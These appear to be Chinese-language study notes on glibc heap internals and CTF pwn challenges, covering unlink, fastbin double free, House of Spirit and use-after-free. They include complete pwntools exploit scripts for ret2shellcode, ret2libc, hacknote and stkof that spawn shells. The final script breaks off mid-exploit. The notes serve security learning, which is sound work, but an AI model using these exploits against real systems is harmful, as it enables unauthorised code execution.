    此外,我們稱由主線程申請的內存為 main_arena。后續的申請的內存會一直從這個 arena 中獲取,直到空間不足。當 arena 空間不足時,它可以通過增加 brk 的方式來增加堆的空間。類似地,arena 也可以通過減小 brk 來縮小自己的空間。

  2. 理解:堆管理器存在與操作系統和用戶之間,操作系統持有物理內存,堆管理器把物理內存批發到虛擬空間中(有多余),自己管理起來,所管理的結構就稱為arena,一個進程可以有多個arena,因為可以有多個線程

    測試代碼:

    image-20210821123908468

    查看虛擬內存vmmap指令:

    image-20210821123841819

    發現堆空間有多余

    發現地址低3位都為0:因為操作系統的分頁管理,4KB為1頁占12位

  3. 知識點

    • malloc函數:從堆管理器申請一段空間,堆管理器從arena中為其分配空間,分配到的空間稱為chunk

    • chunk:用戶申請內存的單位,也是堆管理器管理內存的最基本單位 malloc()返回的指針指向一個chunk的數據區域

堆的數據結構

詳情可見ctfwiki:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heap-structure/

  • free chunk:將chunk歸還到堆管理器中,這樣可以減少系統調用次數,減少系統開銷

    • fastbin free chunk:

      image-20210821110932921

    • smallbin free chunk && unsortedbin free chunk:

      image-20210821110650448

    • largebin free chunk:

      image-20210821110905308

    • last remainder chunk

      類似分頁管理的外碎片,分配多余的空間搞成新的小chunk

    • topchunk:一次申請空間會得到多余的空間,使用剩下的空間作為topchunk

  • freechunk合並

    image-20210928202058784

    size:當前chunk的大小(不包含管理信息)

    prv_size:上一個chunk總大小

    由於size最低3字節一定為0,所以省略用作記錄信息

    P:代表了上一個相鄰的chunk是否為freechunk

  • 實驗測試

    1. image-20210821131459626

      最小的chunk占0x20bit

prev_size的復用

  1. malloc的空間不包括管理信息部分,如:申請0x100空間實際占有0x102空間,有2字節的管理信息

  2. 向堆中寫入數據:從低地址到高地址(與棧相反)

    image-20210821132651322

  3. 查看已分配chunk:

    heap

    image-20210821133353516

    為何size為0x111:申請0x100空間,管理信息0x10空間,size最低位P為1:0x110+1=0x111

    image-20210821134133233

    間接驗證malloc參數不包含管理信息部分

  4. prev_size復用:

    假如在申請並回收0x20空間后(用戶可用空間),再次申請0x28空間(用戶可用空間),堆會如何分配

    image-20210821135617016

    由於prev_size信息無效了,此時會覆蓋掉下一個chunk的prev_size,稱為prev_size的復用,相當於申請0xn0和0xn8得到的空間是相同的

  5. 由於知道當前chunk的prev_size就可以知道上一個chunk的起始位置,這種稱為物理鏈表

bin

  1. 什么是bin:類似回收站,存儲free chunk

    struct malloc_state {
        /* Serialize access.  */
        __libc_lock_define(, mutex);    /* Flags (formerly in max_fast).  */
        int flags;    /* Fastbins */


        mfastbinptr fastbinsY[ NFASTBINS ];    /* Base of the topmost chunk -- not otherwise kept in a bin */

    //fastbin
        mchunkptr top;    /* The remainder from the most recent split of a small request */
        mchunkptr last_remainder;    /* Normal bins packed as described above */



        mchunkptr bins[ NBINS * 2 - 2 ];    /* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/
    /*
    bins[1]:unsortedbin
    bin[2~63]:smallbin
    bin[64~126]:largebin
    */


        unsigned int binmap[ BINMAPSIZE ];    /* Linked list, points to the next arena */
        struct malloc_state *next;    /* Linked list for free arenas.  Access to this field is serialized
           by free_list_lock in arena.c.  */
        struct malloc_state *next_free;    /* Number of threads attached to this arena.  0 if the arena is on
           the free list.  Access to this field is serialized by
           free_list_lock in arena.c.  */
        INTERNAL_SIZE_T attached_threads;    /* Memory allocated from the system in this arena.  */
        INTERNAL_SIZE_T system_mem;
        INTERNAL_SIZE_T max_system_mem;
    };
  2. 原理:

    • fastbin

      image-20210821162442336

      image-20210822122058623

      注意:

      1. 思考:fd不算管理信息,也能寫入數據被覆蓋?

      2. fd指向chunk頭,而不是可寫數據地址開始

      3. fastbin的下一個chunk的P信號一定為1,保證fastbin不會被合並,這樣才fast

    • bin的雙向鏈表(循環雙向鏈隊):適用於:unsortedbin、smallbin、largebin(更復雜)

      1. unsorted新增管理信息bk指向前一個chunk,最后一個bk指向頭指針

        image-20210822121935021

        image-20210822122217891

        unsortedbin處理順序:FIFO

      2. smallbin就是由多個不同大小的unsortedbin,每個bin的大小固定

        image-20210822122243112

        image-20210822122255993

      3. largebin:每個bin大小為范圍,由於大小不定,所以新增兩字節記錄下一個chunk的大小

        image-20210822122312948

        image-20210822122322490

    • 尋找bin:

      1. 大小大於fastbin的范圍,首先遍歷unsortedbin,查找是否有滿足大小的chunk,並且將相鄰的freechunk合並,並分類到對應空間大小的bin中,如果沒有找到再遍歷small/largebin尋找

      2. 由於xxxbin類似隊列處理(先進先出),所以使用雙向鏈表加快處理速度

流程總結

  1. 最初malloc申請空間

    image-20210822170904812

  2. 過程malloc申請空間

    image-20210822171820124

堆溢出-尋找堆分配函數

malloc

  1. malloc的參數:用戶申請的字節一旦進入申請內存函數中就變成了無符號整數,但整數溢出的存在使其負數依然能的到負數結果

calloc

  1. calloc 在分配后會自動進行清空,這對於某些信息泄露漏洞的利用來說是致命的

  2. calloc(0x20);
    //等同於
    ptr=malloc(0x20);
    memset(ptr,0,0x20);

realloc

  • 當 realloc(ptr,size) 的 size 不等於 ptr 的 size 時

    • 如果申請 size > 原來 size

      • 如果 chunk 與 top chunk 相鄰,直接擴展這個 chunk 到新 size 大小

      • 如果 chunk 與 top chunk 不相鄰,相當於 free(ptr),malloc(new_size)

    • 如果申請 size < 原來 size

      • 如果相差不足以容得下一個最小 chunk(64 位下 32 個字節,32 位下 16 個字節),則保持不變

      • 如果相差可以容得下一個最小 chunk,則切割原 chunk 為兩部分,free 掉后一部分

  • 當 realloc(ptr,size) 的 size 等於 0 時,相當於 free(ptr)

  • 當 realloc(ptr,size) 的 size 等於 ptr 的 size,不進行任何操作

存在危險的函數

常見的危險函數如下

  • 輸入

    • gets,直接讀取一行,忽略 '\x00'

    • scanf

    • vscanf

  • 輸出

    • sprintf

  • 字符串

    • strcpy,字符串復制,遇到 '\x00' 停止

    • strcat,字符串拼接,遇到 '\x00' 停止

    • bcopy

堆的填充長度

一個常見的誤區是 malloc 的參數等於實際分配堆塊的大小,但是事實上 ptmalloc 分配出來的大小是對齊的。這個長度一般是字長的 2 倍,比如 32 位系統是 8 個字節,64 位系統是 16 個字節。但是對於不大於 2 倍字長的請求,malloc 會直接返回 2 倍字長的塊也就是最小 chunk,比如 64 位系統執行malloc(0)會返回用戶區域為 16 字節的塊。

例:

64位系統:malloc(24)

控制信息:16字節

用戶需要空間:24字節

實際申請空間:32字節(對齊)

利用下一個chunk的prev_size信息補全8字節空缺

漏洞

unlink(堆合並)

  1. unlink過程

    image-20210926193647898

  2. 古老的unlink

    關於實際地址值構造為什么要加3*size_t或者2*size_t

    個人覺得比較靠譜理解:p是chunk的實際指針,p->pk與p的地址相差3size_t,即p->bk=(p+3*size_t)

    同理:p->fd=p+2*size_t

    即:p->fd=*(p+2*size_t)

    p->bk=*(p+3*size_t)

    與實際指針地址沖突嗎?

    答:unlink里的FD和BK是整個chunk的指針, 不是用戶指針ptr

  3. 現代漏洞

    存在檢查:

    現代unlink

    // fd bk
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
    malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

    即固定FD->bk==P&&BK->fd==P,不能任意指向其他位置了

    • 如何繞過

      最終理解:

      1. 64位程序,size_t=8,p為當前chunk,FD=p->fd,BK=p->BK

      2. 首先要進入unlink函數,必須保證p的P標志位為1

      那么要讓它繞過上邊的檢測,必須滿足:

      • FD -> bk == P <=> *(FD + 12) == P

      • BK -> fd == P <=> *(BK + 8) == P

      1. 那么我們構造:

        BK=p-0x18

        FD=p-0x10

      2. 此時檢測:p->fd->bk=*((p->FD)+0x18)=p

        同理:p->bk->fd=p

      3. 滿足條件,如果存在相鄰的freechunk,進行unlink操作(滿足unlink條件程序自動操作)

        unlink操作:

        FD->bk=BK

        BK->fd=FD

        • 最終效果:p=p-0x18

        在unlink中:p的地址被改變

      4. 由此可見,實現了p的地址被改變,且下次edit這塊chunk時,可以任意寫入地址

    • 源碼分析

      image-20210928203612844

    • 實例分析

      image-20210928203903691

例9

fast bin attack

  • 知識補充

    1. fastbin的fd&bd指針在used狀態下無效,只有在free后才會有效

    2. 在free掉chunk時,會將該chunk放入對應fastbin中,在其fd&bk填入正確數據

    3. fastBin[Y]始終指向最新進入fastbin的chunk

    4. bin鏈通過chunk的fd指針鏈接

    5. 我們malloc申請的是可使用空間,真實size要+0x10

Fastbin Double Free

  1. 漏洞:

    • fastbin可被free多次free

    • fastbin 的堆塊被釋放后 next_chunk 的 pre_inuse 位不會被清空

    • fastbin 在執行 free 的時候僅驗證了 main_arena 直接指向的塊,即鏈表指針頭部的塊。對於鏈表后面的塊,並沒有進行驗證。

  2. 利用:

    image-20211003212802027

    typedef struct _chunk
    {
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
    } CHUNK,*PCHUNK;
    CHUNK bss_chunk;

    int main(void)
    {
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;
    //chunk_a之后將會指向這塊區域,為了使chunk_a的指向合法,必須讓其size合法
    //chunk_a的size與bss_chunk的size相對應
    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);

    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p",chunk_b);
    return 0;
    }

    此程序可將chunk_b指向bss段的bss_chunk

例10

House Of Spirit

  1. #include <stdio.h>
    #include <stdlib.h>

    int main()
    {
    fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

    fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
    unsigned long long *a;
    // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);

    fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size

    fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
    // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
    fake_chunks[9] = 0x1234; // nextsize

    fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
    a = &fake_chunks[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
    }
  2. 運行結果:

    ➜  how2heap git:(master) ./house_of_spirit
    This file demonstrates the house of spirit attack.
    Calling malloc() once so that it sets up its memory.
    We will now overwrite a pointer to point to a fake 'fastbin' region.
    This region (memory of length: 80) contains two chunks. The first starts at 0x7ffd9bceaa58 and the second at 0x7ffd9bceaa88.
    This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
    ... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
    The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
    Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffd9bceaa58.
    ... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
    Freeing the overwritten pointer.
    Now the next malloc will return the region of our fake chunk at 0x7ffd9bceaa58, which will be 0x7ffd9bceaa60!
    malloc(0x30): 0x7ffd9bceaa60
  3. 個人理解與解釋:

     

use after free(釋放重用攻擊)

  1. 原理:在大空間free后,malloc稍微較小空間可以取到該塊數據且可修改這部分數據。

  2. 產生原因:free掉空間后沒有將指針置為NULL,造成仍然指向原位置

  3. 攻擊效果:使得兩個指針指向同一chunk,並且一個指針可寫內容,一個可執行內容:

  4. 例題:例8

double free

  1. 原理:free了兩次同一空間

    free(a)

    free(b)

    free(a)

    //繞過fastbin的檢測:檢測bin相鄰兩個chunk是否相同

    //只需中間free一個不同的chunk

    類似,malloc申請到相同空間,可同時修改這部分同一數據,實現權限低的指針可以獲得權限高的指針的權限

  2. 攻擊:

    • fastbin attak攻擊棧:

      構造好doublefree的fastbin,釋放后兩個fastbin

      如:void *d=malloc(16)

      malloc(16)

      此時d指向原a數據,fastbin中仍存在一個a數據區

      修改d的第一項數據為任意棧地址,fastbin中會認為其為fd指針

      所以此時fastbin鏈上會多一個棧的“chunk”,若malloc到該區域

      既可以實現向棧寫入任意數據

      注意:修改的fd指針應為需要修改地址向上兩單位(除去管理信息:prev_size&size)

unsortedbin

  1. 實現向某一空間寫入大數

  2. 原理:由於FIFO機制,首先歸還第一個freechunk時,指針bk和fd的值會賦給bin頭指針,此時若freechunk指向棧,那么就相當於其連接了棧的地址

house_of_force

漏洞的組合利用

  1. 堆溢出

    1. 填入垃圾數據,並將topchunk的size修改為0xffffffff

    2. 此時即可malloc到虛擬內存任意空間

  2. malloc的整數溢出

    1. malloc的參數為負數,相當於向topchunk下方溢出,可修改data段數據

      原理:大數相加溢出變成比二者都小的數

例題

例1(ret2text)

  1. checksec檢測保護機制

  2. 放入ida觀察他的c代碼,發現有gets函數,有system("bin\bash");的shell指令調用函數

  3. 使用gets構造垃圾數據:16字節填充當前函數棧,4字節覆蓋棧保存的ebp,4字節修改返回地址

    如何知道當前變量偏移(需覆蓋的數據量):

    • ida一般會給當前變量相對ebp的偏移(16進制)

    • 動態調試(pwndbg中):執行到對應漏洞函數時,輸入stack查看棧,可以看到准確的esp,ebp信息

    image-20210715140127465

    如何知道要跳轉到函數的地址:

    • 在IDA中找到函數對應匯編指令,其開頭就是其函數起始地址

    image-20210714221441390

  4. 覆蓋地址修改為system調用函數地址即可實現獲得shell控制權

  5. 開始寫腳本:

    • 首先導入pwn包

      from pwn import *

    • 運行本地程序

      io = process("./ret2text")

      可以觀察程序情況

      io

    • 接收一行字符串(主函數的輸出字符串)

      io.recvline()

    • 構造payload

      payload=b'A'*16+b'BBBB'+p32(0x8048522)

    • 發送消息

      io.sendline(payload)

    • 交互

      io.interactive()

    • 得到shell

例2(ret2shellcode)

  1. checksec檢測保護機制

    NX關閉

    沒有canary

    但默認ASLR(地址隨機化,會影響棧)是打開的,所以不能寫到堆棧區

  2. image-20210716101429261

    發現位置變量buf2,雙擊發現在bss段,可以寫入該段,且該地址為0x804a080

  3. 計算覆蓋范圍

    image-20210718154610026

    0xf8-0x8c=108

    108+4=112

  4. 構造機器碼的系統調用(獲取shell)

    buf=0x804a080

    payload=asm(shellcraft.sh()).ljust(112,b'A') #表示從機器碼后方添加垃圾數據直到總長112字節

     

    構造最終payload

    payload+=p32(buf)

  5. 發送獲取shell

    io=process("./xxx")

    io.recvline()

    io.sendline(payload)

    io.interactive()

例3(ret2stack)

  1. 64位程序首先說明

    context.arch="amd64"

  2. 計算覆蓋區域

    image-20210718151017772

    0xf50-0xee0=112

    112+8=120

  3. 查看應該覆蓋的返回地址:

    應該為printf輸出的地址,詳情見 緩沖區溢出/例3

    image-20210718152712110

    但實際運行python時的地址為

    image-20210718152800619

    最終測試以運行python時的地址為准

  4. 構造payload

    shell=asm(shellcraft.sh())

    buf=0x7fffffffdf60

    payload=shell.ljust(120,b'A')+p64(buf)

  5. 最終exp

    from pwn import *
    context.arch="amd64"
    io=process("./ret2stack")
    #io.recvline()
    buf=0x7fffffffdf60
    shellcode=asm(shellcraft.sh())
    payload=shellcode.ljust(120,b'A')+p64(buf)
    io.sendline(payload)
    io.interactive()

例4(ret2systemcall)

  1. 畫圖理解棧溢出需要的內容

    image-20210718204850801

    相當於執行了一條execve指令

  2. 尋找需要的數據

    • "/bin/bash"地址

      在IDA中使用字符串搜索shift+F12

      再ctrl+F進行搜索

    • pop &ret地址

      使用ROPgadget尋找

      ROPgadget --binary rop --only "pop|ret" |grep eax

      ......

      • pop eax

        ret

      • pop edx

        pop ecx

        pop ebx

        ret

    • int 80地址

      ROPgadget --binary XXX --only "int"

  3. 使用flat函數構造payload

    flat():將括號中的數據自動構造成字節型數據並且自動填充為字節

    payload=flat([b'A'*112,eax,0xb,edx_ecx_ebx,0,0,bin_bash,int_80])
  4. 最終exp

    from pwn import *
    io = process("./rop")
    io.recvline()
    eax=0x80bb196
    edx_ecx_ebx=0x806eb90
    bin_bash=0x80BE408
    int_80=0x8049421
    payload=flat([b'A'*112,eax,0xb,edx_ecx_ebx,0,0,bin_bash,int_80])
    io.sendline(payload)
    io.interactive()

例5 (ret2libc1)

  1. 尋找需要的數據

    • IDA中尋找plt標記的system地址

      image-20210726205005250

    • 覆蓋需要字節數

      動態調試時輸入16*'A',查看其起始位置,與ebp相減得到覆蓋字節數

      image-20210726202621039

      即0xffffd118-0xffffd0ac+4(覆蓋32位程序previous ebp)=112

    • 覆蓋時棧中的類容

      • 參數位置(根據自己ebp向上2單位尋找參數)

    • bin/bash位置

  2. 根據動態鏈接調用過程,構建payload

    動態鏈接查看雜學中的動態鏈接與返回導向編程的ret2libc的知識點

  3. exp

    from pwn import *
    io =process("./ret2libc1")
    system_plt=0x8048460
    bin_bash=0x8048720
    payload=b'A'*112+p32(system_plt)+b'A'*4+p32(bin_bash)
    io.sendline(payload)
    io.interactive()

    注意:跳轉到plt位置直接就自動跳轉到system函數開始執行

  4. 小技巧

    • 通過pwntools來查找plt中system標記(注意中括號)

      image-20210726204350001

    • 使用linux自帶strings來尋找文件是否存在/bin/sh

      image-20210726204629457

例6(ret2libc2)

  1. 使用IDA打開查看程序

    • 存在system函數

    • 沒有/bin/sh

    • 存在全局變量buf2在bss節(地址固定)

    注:條件3很重要,是該題的考點

    image-20210727155208127

  2. 計算覆蓋范圍

    108+4=112

  3. 使用自帶gets函數向buf2中寫入bin/sh

    • 如何寫入???

      首先自己的思路:查看gets的匯編代碼,部分修改其匯編代碼(指針指向的參數)來達到向buf2寫入的效果

      錯誤:參數在ebp高2單位處

       

      然后再次的思路:直接跳轉到函數自帶的gets處

      錯誤:參數不同

      最后正確思路:跳轉到plt中的gets,參數為ebp向上兩單位

  4. 構造payload

  5. 構造exp

    from pwn import *
    io = process("./ret2libc2")
    buf2=0x804a080
    gets_plt=0x8048460
    system_plt=0x8048490
    payload=b'A'*112+p32(gets_plt)+p32(system_plt)+p32(buf2)+p32(buf2)
    io.sendline(payload)
    io.sendline(b'/bin/sh')
    io.interactive()

    注意:在發送payload之后,需要以用戶輸入的數據寫入buf2,此時就應寫入"bin/sh"

    發送b'/bin/sh'或者"/bin/sh"都可以

    最好寫成b'/bin/sh\x00'

  6. 總結

    image-20210727164716852

  7. 學到的新知識

    • elf.symbols["xxx"]

      xxx指代符號,返回符號的地址

    • 特定情況如何自己寫入/bin/sh

例7(ret2libc3)

  1. 與視頻教學題目不同,此題為ctfwiki的ret2libc3

  2. 動態調試查看偏移量

    108+4=112

  3. 尋找system("/bin/sh")

    • 兩個都沒有,想如何替代

      1. bss段存在全局變量buf2,可寫入/bin/sh

        使用libc中自帶的/bin/sh,也是計算偏移量

      2. 通過libc.so文件函數之間偏移量固定,獲取system與puts的偏移量

    • 如何構造ROP鏈

    首先注意:

    • 因為ASLR的存在,只有程序本身運行時輸出的偏移地址是運行時的地址,叫做地址泄露

    • 在固定的libc版本中:兩個函數之間的偏移量一定不變,即任意兩函數之間字節數相同

  4. 真實地址=libc基址+偏移(以puts在本地libc中例)

    • 查看本機libc版本

      image-20210810113926541

    • 首先獲得函數在libc中偏移

      #首先獲得puts在本地libc偏移
      #libc=ELF("/lib/i386-linux-gnu/libc.so.6") #該地址為軟鏈接(快捷方式)
      libc=ELF("/lib/i386-linux-gnu/libc-2.31.so") #實際文件
      puts_offset=libc.symbols["puts"]

      另一種方法在sh中

      readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "IO_puts"

      兩種方法獲得地址相同即可驗證

    • 地址泄露獲取運行時地址

      #構造ROP鏈
      payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
      puts_addr=u32(p.recv(4))

      解釋:首先溢出使得返回到puts函數,函數的參數為其ebp向上2單位,這里為puts在got表中值,即puts在libc中的實際地址,此時程序會輸出其真實地址,接收即可

      注意:

      • 需要返回主函數開始處,因為此次只是地址泄露,下次才能完全獲取到權限

      • 接收到的數據:為底層的acsii編碼,通過u32函數轉化成10進制數

        接收到的數據為:b'`4\xdc\xf7'

        u32()后:4158403680

    • 計算獲取libc基地址

      libcbase=puts_addr-puts_offset
    • 計算system真實地址

      sys_offset=libc.symbols["system"]
      sys_addr=sys_offset+libcbase

    libc中同樣存在/bin/sh,同理獲得

    注意:需要使用next(ELF.search["/bin/sh"])才能尋找libc中的字符串,而不能單純用symbols

  5. 構造payload獲取shell

  6. 攻擊代碼

    from pwn import *
    from LibcSearcher import *
    elf=ELF('./ret2libc3')
    libc=ELF("/lib/i386-linux-gnu/libc.so.6")
    p=process('./ret2libc3')
    puts_plt=elf.plt['puts']
    puts_got=elf.got['puts']
    start_addr = elf.symbols['_start']
    #gdb.attach(p)

    payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
    p.sendlineafter(b"!?",payload1)
    puts_addr=u32(p.recv(4))
    sys_offset=libc.symbols["system"]
    #sys_offset=0x45040
    puts_offset=libc.symbols["puts"]
    #puts_offset=0x70460
    sh_offset=0x18c338
    libcbase=puts_addr-puts_offset
    system_addr=libcbase+sys_offset
    binsh_addr=libcbase+sh_offset
    #payload2=b'A'*112+p32(system_addr)+p32("deadbeef")+p32(binsh_addr)
    payload2=b'A'*112+p32(system_addr)+p32(1234)+p32(binsh_addr)
    #py3要求p32中為數字
    p.sendlineafter(b"!?",payload2)
    p.interactive()
  7. 學習到的知識(總結)

    • ldd命令,查看當前程序依賴的libc,可以在根目錄中找到,在此題中很有用

    • 一些python的命令

      elf.symbols["xxx"]

      elf.plt["xxx"]

      elf.got["xxx"]

    • 一些有用的shell命令

      readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "system"

      strings /lib/i386-linux-gnu/libc.so.6 -tx| grep "/bin/sh"

      二者效果相近,但/bin/sh只能用strings找到,加上tx顯示16進制地址,system函數用readelf才能找到

    • 地址泄露:尋找libc中真實地址

例8(hacknote)

  1. 分析程序,修改函數名(IDA反編譯的c代碼可能有錯,但能猜個大概)

    小技巧:根據程序執行可加速理解程序

    image-20210827161444554

  2. 尋找漏洞:

    在add中有malloc申請8byte的chunk,然后該chunk第一4字節存的函數地址,可執行函數;剩余空間有malloc了size大小的空間,並且可向其中寫入任意數據

    在delete時free函數沒有將指針置空

    1. image-20210827171034668

  3. image-20210827171128054

    存在UAF漏洞

  4. 如何利用:

    1. 首先申請2個chunk,其size設置成不同與8

      image-20210827211102089

    2. 再將兩個都free掉,到fastbin中去

      image-20210827211336216

    3. 再malloc8空間的chunk,會從fastbin中拿到8空間大小的chunk,該部分可被修改為任意數據

      image-20210827232959961

  5. exp

    from pwn import *
    io=process("./hacknote")
    elf=ELF("hacknote")
    libc=ELF("/lib/i386-linux-gnu/libc-2.31.so")
    system_offset=libc.symbols["system"]
    put_offset=libc.symbols["puts"]

    def add_note(size,content):
    io.recvuntil(b"Your choice :")
    io.sendline(b'1')
    io.recvuntil(b"Note size :")
    io.sendline(size)
    io.recvuntil(b"Content :")
    io.sendline(content)

    def delete_note(index):
    io.recvuntil(b"Your choice :")
    io.sendline(b'2')
    io.recvuntil(b"Index :")
    io.sendline(index)

    def print_note(index):
    io.recvuntil(b"Your choice :")
    io.sendline(b'3')
    io.recvuntil(b"Index :")
    io.sendline(str(index).encode())

    add_note(b'16',b'A'*16)
    add_note(b'16',b'A'*16)
    delete_note(b'0')
    delete_note(b'1')
    #put_plt=elf.plt["puts"]
    put_got=elf.got["puts"]
    #add_note(b'8',p32(put_plt)+p32(put_got))
    add_note(b'8',p32(0x804862b)+p32(put_got))
    #why add "put_plt"?
    #why use self_put
    print_note(0)
    put_addr=u32(io.recv(4))
    libbase=put_addr-put_offset
    system_addr=libbase+system_offset
    delete_note(b'2')
    add_note(b'8',p32(system_addr)+b"||sh")
    print_note(0)
    io.interactive()
  6. 注意:

    1. str函數:將對象轉化為字符串型,如:'A'

      str().encode():將對象轉化成數據流型,如:b'A'

    2. 泄露libbase為什么需要兩段地址:p32(0x804862b)+p32(put_got)

      因為寫入的信息分為兩段:

      第一段為執行的函數地址

      第二段為函數的參數

      如:調用put函數,參數為got@put

    3. 2中為什么不使用plt@put

      未知

例9(2014-HITCON-stkof)

  1. 程序分析:

    • 主函數功能分析:

      選擇功能

      1. alloc:輸入size,malloc(size)字節空間,並使用全局變量s指向該段空間

      2. read_in:首先輸入s,代表選中第s個chunk;再輸入s,代表將讀入字節的個數;再輸入讀入數據(此處存在堆溢出)

        size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
        • ptr -- 這是指向帶有最小尺寸 size*nmemb 字節的內存塊的指針。

        • size -- 這是要讀取的每個元素的大小,以字節為單位。

        • nmemb -- 這是元素的個數,每個元素的大小為 size 字節。

        • stream -- 這是指向 FILE 對象的指針,該 FILE 對象指定了一個輸入流。

      3. my_free:輸入s代表選中第s個chunk,將其free掉

    • 變量的解釋

    image-20210927205025212

  2. 思路:

    • 利用 unlink 修改 global[2] 為 &global[2]-0x18。

    • 利用編輯功能修改 global[0] 為 free@got 地址,同時修改 global[1] 為 puts@got 地址,global[2] 為 atoi@got 地址。

    • 修改 free@gotputs@plt 的地址,從而當再次調用 free 函數時,即可直接調用 puts 函數。這樣就可以泄漏函數內容。

    • free global[1],即泄漏 puts@got 內容,從而知道 system 函數地址以及 libc 中 /bin/sh 地址。

    • 修改 atoi@got 為 system 函數地址,再次調用時,輸入 /bin/sh 地址即可。

  3. unlink圖解:

    image-20210929171602406

  4. 給定的答案(很多個人理解都在注釋里邊,認真看)

    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    if args['DEBUG']:
    context.log_level = 'debug'
    context.binary = "./stkof"
    stkof = ELF('./stkof')
    if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
    else:
    p = process("./stkof")
    log.info('PID: ' + str(proc.pidof(p)[0]))
    libc = ELF('./libc.so.6')
    head = 0x602140


    def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')


    def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')


    def free(idx):
    p.sendline('3')
    p.sendline(str(idx))


    def exp():
    # trigger to malloc buffer for io function
    alloc(0x100) # idx 1
    # begin
    alloc(0x30) # idx 2
    # small chunk size in order to trigger unlink
    alloc(0x80) # idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0) #prev_size
    payload += p64(0x20) #size
    payload += p64(head + 16 - 0x18) #fd
    payload += p64(head + 16 - 0x10) #bk
    payload += p64(0x20) # next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')

    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)

    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)

    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)
    p.recvuntil('OK\n')
    #此時已經完成unlink,因為3被free掉,而P標志位認為2也是free的
    #此時的bss段的s(0x602140)已經寫入head+16-0x18,並認為他是第二塊chunk
    #那么編輯第二塊chunk,其實就是編輯bss段的(0x602140+16-0x18),要編輯到s指向的地方,需要填充8個字節垃圾數據,而其之后寫入的就是s[1],s[2]...,而不是之前認為的往chunk里邊寫數據,why?
    #因為:我們講s[2]當做P,存的是chunk地址,P的地址為P,*P=p-0x18,自然s[2]=&s[2]-0x18,那么編輯的自然就是bss段的數據了
    #注意:僅僅編輯unlink的這塊內存會造成bss被修改,且效果只有一次,或者留着種子(bss地址)來進行多次bss段編輯
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
    stkof.got['atoi'])
    edit(2, len(payload), payload)

    # edit free@got to puts@plt
    #此處再次編輯的時候是把free的got表改成了put@plt,怎么改的?
    #我們拿普通chunk的修改做對比:修改普通chunk是修改s指向空間的內容,那么如果s指向free@got,那么它修改的就是free函數的got表
    payload = p64(stkof.plt['puts'])
    #為什么是edit(0)?后邊所有index同理
    #根據源程序可發現s[0]是可用但沒有malloc的,我們是可以向其中寫入地址的
    #見下方圖2,可知我們的的s[0]寫入的是free@got,其余同理
    edit(0, len(payload), payload)

    # free global[1] to leak puts addr
    free(1)
